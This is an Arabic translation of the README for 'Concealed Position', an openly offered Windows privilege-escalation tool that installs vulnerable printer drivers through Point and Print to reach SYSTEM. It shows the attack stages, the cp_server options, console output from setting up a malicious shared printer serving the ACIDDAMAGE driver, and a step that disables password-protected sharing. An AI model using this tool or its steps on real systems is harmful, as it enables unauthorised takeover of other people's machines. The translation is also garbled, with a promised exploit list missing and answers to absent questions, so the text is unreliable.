
أداة تصعيد صلاحيات عبر برنامج تشغيل الطابعة الخاص بك
موضع مخفي هو هجوم تصعيد الصلاحيات المحلي ضد ويندوز باستخدام مفهوم "اجلب ثغرةك الخاصة". على وجه التحديد، يستخدم موضع مخفي (CP) منطق النقاط والطباعة كما هو مصمم في ويندوز الذي يسمح لمستخدم ذي صلاحية منخفضة بمرحلة وتثبيت برامج تشغيل الطابعات. يقوم CP بتثبيت برامج تشغيل بها ثغرات معروفة ثم يتم استغلالها للتصعيد إلى SYSTEM. تم عرض موضع مخفي لأول مرة في DEF CON 29.
يقدم موضع مخفي أربعة ثغرات - جميعها بأسماء غبية بنفس القدر:
الثغرات جميلة لأنه، باستثناء SLASHINGDAMAGE، ستستمر في العمل حتى بعد تصحيح المشكلات. الآلية الوحيدة التي يمتلكها ويندوز لمنع المستخدمين من استخدام برامج تشغيل قديمة هي إلغاء شهادة برنامج التشغيل - وهو شيء لم يتم فعله تاريخياً (؟).
على الأرجح ACIDDAMAGE. RADIANTDAMAGE و POISONDAMAGE هما سباق (للكتابة فوق DLL) و SLASHINGDAMAGE، من المأمول، قد تم تصحيحها في كل مكان.
يتكون موضع مخفي من جزأين. طابعة خبيثة وعميل. يتصل العميل بالخادم، ويسحب برنامج تشغيل، ويخزن برنامج التشغيل في مخزن برامج التشغيل، ويُثبت الطابعة، ويستغل عملية التثبيت. سهل! في لغة MSAPI، يبدو الهجوم كالتالي:
الخطوة 1: مرحلة برنامج التشغيل في مخزن برامج التشغيل
العميل إلى الخادم: GetPrinterDriver
الخادم إلى العميل: الاستجابة مع برنامج التشغيل
المرحلة 2: تثبيت برنامج التشغيل من مخزن برامج التشغيل
العميل: InstallPrinterDriverFromPackage
المرحلة 3: إضافة طابعة محلية (مرحلة الاستغلال)
العميل: إضافة طابعة
من المهم ملاحظة أن SLASHINGDAMAGE لا يعمل بهذه الطريقة في الواقع. SLASHINGDAMAGE هو تطبيق لهجوم الطابعة الخبيثة الموصوف في DEFCON 28 (2020) وتم تصحيحه منذ فترة طويلة. لكني أستمتع بهذا الهجوم (لقد أثار بقية هذا التطوير) وقررت أن أترك الثغرة في خادمي الخبيث... على الرغم من أن ذلك قد يكون مربكًا.
يمكن القول، نعم. مخزن برامج التشغيل هو "مجموعة موثوقة من ... حزم برامج تشغيل تابعة لجهات خارجية" والتي تتطلب وصول المسؤول لتعديلها. باستخدام GetPrinterDriver يمكن لمهاجم منخفض الصلاحية مرحلة برامج تشغيل عشوائية في المخزن. هذا، بالنسبة لي، يتجاوز حدوداً أمنية واضحة.
يبدو أن مايكروسوفت وافقت عندما أصدرت CVE-2021-34481.
على الرغم من... أنه يمكن القول أن هذه مجرد ميزة للنظام وليست ثغرة على الإطلاق. لا يهم كثيرًا حقًا. يمكن للمهاجم التصعيد إلى SYSTEM على تثبيتات ويندوز العادية.
على الأقل ويندوز 8.1 وما فوق.
بسيط! بسيط جدًا لدرجة أنه سيكون هناك العديد من الفقرات لوصفها!
أولاً، دعنا نلقي نظرة على خيارات سطر الأوامر لـ cp_server:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| خادم!
خيارات سطر الأوامر:
-h, --help عرض رسالة المساعدة
-e, --exploit arg الثغرة المراد استخدامها
-c, --cabs arg (=.\cab_files) مسار ملفات الكابينة
الثغرات المتاحة:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
أعلاه يمكنك رؤية أن الخادم يتطلب خيارين:
على سبيل المثال، لنفترض أننا نريد تكوين طابعة خبيثة تقدم برنامج تشغيل ACIDDAMAGE. فقط افعل هذا:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| خادم!
[+] إنشاء مساحة مؤقتة...
[+] توسيع .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] الدفع إلى مخزن برامج التشغيل
[+] تنظيف المساحة المؤقتة
[+] تثبيت برنامج تشغيل الطباعة
[+] تم تثبيت برنامج التشغيل!
[+] تثبيت طابعة مشتركة
[+] تم تثبيت الطابعة المشتركة!
[+] انتهت الأتمتة.
[!] خطوات يدوية هامة!
[0] في إعدادات المشاركة المتقدمة، قم بإيقاف تشغيل "المشاركة المحمية بكلمة مرور".
[1] جاهز للانطلاق!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
وهذا كل شيء، سترى طابعة جديدة على نظامك:
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer
Name ComputerName Type DriverName PortName Shared Publishe
d
---- ------------ ---- ---------- -------- ------ --------
ACIDDAMAGE Local Lexmark Universal v2 LPT1: True False
CutePDF Writer Local CutePDF Writer v4.0 CPW4: False False
OneNote for Windows 10 Local Microsoft Software Pri... Microsoft.Of... False False
Microsoft XPS Document Writer Local Microsoft XPS Document... PORTPROMPT: False False
Microsoft Print to PDF Local Microsoft Print To PDF PORTPROMPT: False False
Fax Local Microsoft Shared Fax D... SHRFAX: False False
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
لاحظ أن هناك خطوة يدوية واحدة يطلب منك cp_server القيام بها. لأنني مخترق مبتدئ، لم أستطع معرفة كيفية تعيين "إعدادات المشاركة المتقدمة" -> "إيقاف تشغيل المشاركة المحمية بكلمة مرور" برمجياً. سيكون عليك القيام بذلك بنفسك!